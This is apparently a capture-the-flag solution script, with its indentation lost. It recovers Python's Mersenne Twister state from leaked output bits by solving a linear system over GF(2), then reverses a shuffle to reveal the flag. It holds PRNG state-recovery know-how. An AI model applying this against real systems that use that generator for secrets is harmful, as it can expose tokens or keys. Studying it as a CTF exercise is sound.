78185582599032667959036429725924232941469263326353068145244808076568900497747172317041455727390079072969862893686010604759845470389930035725699372069559369810605128343708422439234650907531173725146444987385722370497088235384491930636269563984872141157485720925361530642765388373189075507980495838688064146115160226038643055659624122211567738061135537839985700945316654234791732682545564489284192346768545308382695839487097631067536886406430379115297019613758386433439672594062059682694079538310265728673800061679012209864122810657231573862064831536614619574958883295226021688953682076869363345338388197948013325224897171199708338473670892392317330187578938134262639370272395368653547105078041663335625740377268391401135556647689821556159565311060931009729254442622790349828965979939000391555466376502822227509927802776246004396874915461629678844701775744322142498901374447391767675442115844473244665993898581112624180236027979489508415176900978549876311339598005664940334460083100712835230851859311666413963296894887994552731984601621609846509659638381394337394062813836175696154228766792597888196115903622293677491319485870597771257210897437815934820082933124015647249436688864274331900509908481698145094449067375676528933942279038838563423823884900289677915579824146082390954266834471175956313778453814060119691398710720689085758791466226225762543591370329144706415171050851661675785510003777925152328720809158576440802021714017825707601419487298473299703156511815459448914505862019500821751317490526865631996154165747978597812922432590371048023310017203060092344405806613937640514811171581563443248712048158
c = ')9Lsu_4s_eb__otEli_nhe_tes5gii5sT@omamkn__ari{efm0__rmu_nt(0Eu3_En_og5rfoh}nkeoToy_bthguuEh7___u'
gift = long_to_bytes(gift)
RNG = Random()
def construct_a_row(RNG):
row = []
for i in range(len(gift)//2):
RNG.getrandbits(8)
if (i % 128 == 0):
row += list(map(int, (bin(RNG.getrandbits(16) >> 1)[2:].zfill(15))))
else:
row += list(map(int, (bin(RNG.getrandbits(16) >> 8)[2:].zfill(8))))
return row
L = []
for i in trange(19968):
state = [0]*624
temp = "0"*i + "1"*1 + "0"*(19968-1-i)
for j in range(624):
state[j] = int(temp[32*j:32*j+32],2)
RNG.setstate((3,tuple(state+[624]),None))
L.append(construct_a_row(RNG))
L = Matrix(GF(2),L)
R = []
for i in range(0, len(gift), 2):
if (i % 256 == 0):
R += list(map(int, (bin((gift[i]*256 + gift[i+1]) >> 1)[2:].zfill(15))))
else:
R += list(map(int, (bin(gift[i])[2:].zfill(8))))
R = vector(GF(2),R)
print('[+] rank: ', L.rank())
s = L.solve_left(R)
from copy import deepcopy, copy
s = L.stack(R).left_kernel()
s = s.basis()
s = matrix(s)
c = ')9Lsu_4s_eb__otEli_nhe_tes5gii5sT@omamkn__ari{efm0__rmu_nt(0Eu3_En_og5rfoh}nkeoToy_bthguuEh7___u'
mark = deepcopy(s[0])
for _ in range(2^6):
nnum = deepcopy(mark)
index = _
for j in range(1,7):
nnum += int(index%2) * s[j]
index //= 2
init = str(nnum[0]) + '0' * 31 + "".join(list(map(str,nnum[1:-1])))
state = []
for i in range(624):
state.append(int(init[32*i:32*i+32],2))
RNG1 = Random()
RNG1.setstate((3,tuple(state+[624]),None))
for i in range(3108):
RNG1.getrandbits(8)
r2 = RNG1.getrandbits(16)
assert r2 >> 8 == gift[2*i]
x = [i for i in range(len(c))]
for i in range(2025):
RNG1.shuffle(x)
flag = ""
for i in range(len(c)):
flag += c[x.index(i)]
print(flag)